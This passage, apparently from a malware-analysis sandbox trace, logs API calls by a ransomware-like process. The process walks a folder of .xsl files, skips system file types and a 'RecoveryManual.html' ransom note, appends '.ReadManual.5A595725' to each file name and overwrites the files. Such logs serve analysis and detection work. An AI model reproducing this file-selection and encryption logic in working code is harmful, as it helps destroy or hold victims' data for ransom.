dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0258.517] WriteFile (in: hFile=0x184, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fda8, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fda8*=0xae9, lpOverlapped=0x0) returned 1 [0258.518] CloseHandle (hObject=0x184) returned 1 [0258.518] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5ed7d9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x4932, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="as90.xsl", cAlternateFileName="")) returned 1 [0258.518] lstrcpyW (in: lpString1=0x6ab92c, lpString2="as90.xsl" | out: lpString1="as90.xsl") returned="as90.xsl" [0258.518] lstrcmpiW (lpString1="as90.xsl", lpString2="RecoveryManual.html") returned -1 [0258.518] StrStrIW (lpFirst="as90.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.518] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.518] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.518] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" [0258.518] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ReadManual.5A595725" [0258.518] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.ReadManual.5A595725") returned 100 [0258.518] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37919961217) returned 1 [0258.531] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0258.532] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.533] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=18738) returned 1 [0258.533] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4932, lpName=0x0) returned 0x1a0 [0258.533] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd8) returned 1 [0258.534] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.534] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.536] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.536] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4932) returned 0x2f0000 [0258.536] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.536] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37920510861) returned 1 [0258.536] CloseHandle (hObject=0x1a0) returned 1 [0258.536] SetSecurityInfo () returned 0x57 [0258.536] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.536] CloseHandle (hObject=0x184) returned 1 [0258.537] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa81fdc00, ftCreationTime.dwHighDateTime=0x1c8dd0e, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa81fdc00, ftLastWriteTime.dwHighDateTime=0x1c8dd0e, nFileSizeHigh=0x0, nFileSizeLow=0x78e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Informix.xsl", cAlternateFileName="")) returned 1 [0258.537] lstrcpyW (in: lpString1=0x6ab92c, lpString2="Informix.xsl" | out: lpString1="Informix.xsl") returned="Informix.xsl" [0258.537] lstrcmpiW (lpString1="Informix.xsl", lpString2="RecoveryManual.html") returned -1 [0258.537] StrStrIW (lpFirst="Informix.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.537] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.537] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.538] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.538] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" [0258.538] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ReadManual.5A595725" [0258.538] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.ReadManual.5A595725") returned 104 [0258.538] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37920796705) returned 1 [0258.539] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0258.540] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.540] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=30948) returned 1 [0258.540] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78e4, lpName=0x0) returned 0x1a0 [0258.540] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe0) returned 1 [0258.541] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.541] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.543] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.544] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78e4) returned 0x2f0000 [0258.544] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.544] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37921283742) returned 1 [0258.544] CloseHandle (hObject=0x1a0) returned 1 [0258.544] SetSecurityInfo () returned 0x57 [0258.544] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.544] CloseHandle (hObject=0x184) returned 1 [0258.544] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51494530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x712e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msjet.xsl", cAlternateFileName="")) returned 1 [0258.545] lstrcpyW (in: lpString1=0x6ab92c, lpString2="msjet.xsl" | out: lpString1="msjet.xsl") returned="msjet.xsl" [0258.545] lstrcmpiW (lpString1="msjet.xsl", lpString2="RecoveryManual.html") returned -1 [0258.545] StrStrIW (lpFirst="msjet.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.545] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.545] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.545] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" [0258.545] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ReadManual.5A595725" [0258.545] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.ReadManual.5A595725") returned 101 [0258.545] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37921390811) returned 1 [0258.545] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 0x20 [0258.545] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.545] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=28974) returned 1 [0258.546] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x712e, lpName=0x0) returned 0x1a0 [0258.546] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0258.546] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.546] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.548] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.548] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x712e) returned 0x2f0000 [0258.548] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.549] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37921746936) returned 1 [0258.549] CloseHandle (hObject=0x1a0) returned 1 [0258.549] SetSecurityInfo () returned 0x57 [0258.549] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.549] CloseHandle (hObject=0x184) returned 1 [0258.549] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x851c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sql2000.xsl", cAlternateFileName="")) returned 1 [0258.549] lstrcpyW (in: lpString1=0x6ab92c, lpString2="sql2000.xsl" | out: lpString1="sql2000.xsl") returned="sql2000.xsl" [0258.549] lstrcmpiW (lpString1="sql2000.xsl", lpString2="RecoveryManual.html") returned 1 [0258.549] StrStrIW (lpFirst="sql2000.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.549] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.549] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.549] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" [0258.550] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ReadManual.5A595725" [0258.550] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl.ReadManual.5A595725") returned 103 [0258.550] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37921837159) returned 1 [0258.550] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl")) returned 0x20 [0258.551] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql2000.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql2000.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.551] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=34076) returned 1 [0258.551] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x851c, lpName=0x0) returned 0x1a0 [0258.551] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xde) returned 1 [0258.551] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.551] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.553] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.554] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x851c) returned 0x2f0000 [0258.555] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.555] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37922355823) returned 1 [0258.555] CloseHandle (hObject=0x1a0) returned 1 [0258.555] SetSecurityInfo () returned 0x57 [0258.555] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.555] CloseHandle (hObject=0x184) returned 1 [0258.555] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x7d92, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sql70.xsl", cAlternateFileName="")) returned 1 [0258.555] lstrcpyW (in: lpString1=0x6ab92c, lpString2="sql70.xsl" | out: lpString1="sql70.xsl") returned="sql70.xsl" [0258.555] lstrcmpiW (lpString1="sql70.xsl", lpString2="RecoveryManual.html") returned 1 [0258.555] StrStrIW (lpFirst="sql70.xsl", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.555] StrCmpIW (psz1="xsl", psz2="exe") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="dll") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="sys") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="msi") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="mui") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="inf") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="cat") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="bat") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="cmd") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="ps1") returned 1 [0258.555] StrCmpIW (psz1="xsl", psz2="vbs") returned 1 [0258.556] StrCmpIW (psz1="xsl", psz2="ttf") returned 1 [0258.556] StrCmpIW (psz1="xsl", psz2="fon") returned 1 [0258.556] StrCmpIW (psz1="xsl", psz2="lnk") returned 1 [0258.556] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" [0258.556] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ReadManual.5A595725" [0258.556] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl.ReadManual.5A595725") returned 101 [0258.556] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37922447947) returned 1 [0258.556] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl")) returned 0x20 [0258.557] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.557] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=32146) returned 1 [0258.557] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7d92, lpName=0x0) returned 0x1a0 [0258.557] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0258.563] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.563] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.565] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.565] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7d92) returned 0x2f0000 [0258.565] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.565] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37923405818) returned 1 [0258.565] CloseHandle (hObject=0x1a0) returned 1 [0258.565] SetSecurityInfo () returned 0x57 [0258.565] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0258.565] CloseHandle (hObject=0x184) returned 1 [0258.566] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ce7000, ftCreationTime.dwHighDateTime=0x1c9b00b, ftLastAccessTime.dwLowDateTime=0x51552c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8ce7000, ftLastWriteTime.dwHighDateTime=0x1c9b00b, nFileSizeHigh=0x0, nFileSizeLow=0x9a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sql90.xsl", cAlternateFileName="")) returned 1 [0258.566] lstrcpyW (in: lpString1=0x6ab92c, lpString2="sql90.xsl" | 